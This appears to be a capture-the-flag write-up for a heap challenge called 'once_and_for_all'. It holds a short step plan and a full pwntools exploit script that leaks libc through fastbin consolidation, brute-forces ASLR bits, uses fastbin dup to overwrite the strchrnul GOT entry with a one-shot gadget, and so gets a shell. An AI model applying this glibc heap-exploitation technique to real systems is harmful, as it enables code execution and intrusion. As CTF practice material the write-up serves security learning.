1. fastbin consolidate to leak libc2. brute force 4 bits of ASLR to get a value of 0x3e into libc got3. fastbin dup into libc got4. fastbin dup a bit further down5. overwrite the strchrnul got entry to one shot gadget6. printf calls strchrnul internally -> win
```from pwn import *
elf = context.binary = ELF("./once_and_for_all")
libc = ELF("./libc.so.6")
def add(idx, size, payload=b'A'):    p.sendlineafter(b'>> ', b'1')    p.sendlineafter(b': ', str(idx).encode())    p.sendlineafter(b': ', str(size).encode())    p.sendafter(b': \n', payload)
def fix(idx, size, payload):    p.sendlineafter(b'>> ', b'2')    p.sendlineafter(b': ', str(idx).encode())    p.sendlineafter(b': ', str(size).encode())    p.sendafter(b': \n', payload)    p.sendlineafter(b'>> ', b'2')
def free(idx):    p.sendlineafter(b'>> ', b'2')    p.sendlineafter(b': ', str(idx).encode())    p.sendlineafter(b': ', str(0x0).encode())
def examine(idx):    p.sendlineafter(b'>> ', b'3')    p.sendlineafter(b': ', str(idx).encode())
def add_big(size):    p.sendlineafter(b'>> ', b'4')    p.sendlineafter(b': ', str(size).encode())
def libc_leak():    add(0, 0x20)    free(0)    add_big(0x5b0)    add(1, 0x28)    free(0)    examine(0)    return u64(p.recv(6).ljust(8, b'\x00'))
while True:    # p = remote('68.183.37.6', 31490)    p = process("./once_and_for_all")
    libc.address = libc_leak() - 0x3ebca0 log.info(f'libc @ 0x{libc.address:x}')
    # 4 bits bruteforce    if (libc.address + 0x616000) & 0xffff == 0:        break
    libc.address = 0    p.close()
# fastbin dup into libc gotadd(2, 0x28)add(3, 0x28)free(3)free(2)free(3)fix(2, 0x28, p64(libc.address + 0x3eb000 - 8 + 2))  # gef➤  tele 0x7f667597a000+0x3eb000-8+2                                                    # 0x00007f6675d64ffa│+0x0000: 0xab80000000000000                                                    # 0x00007f6675d65002│+0x0008: 0x000000000000003e
add(4, 0x28)add(5, 0x28)add(6, 0x28, flat({0x20 - 2: 0x40})) # place 0x40 there for the next stage
# fastbin dup a bit further downadd(7, 0x38)add(8, 0x38)free(8)free(7)free(8)fix(7, 0x38, p64(libc.address + 0x3eb000 + 0x20))add(9, 0x38)add(10, 0x38)add(11, 0x38, flat({24: libc.address + 0x4f322})) # strchrnul got entry -> one shot
# printf calls strchrnul internally -> winp.interactive()```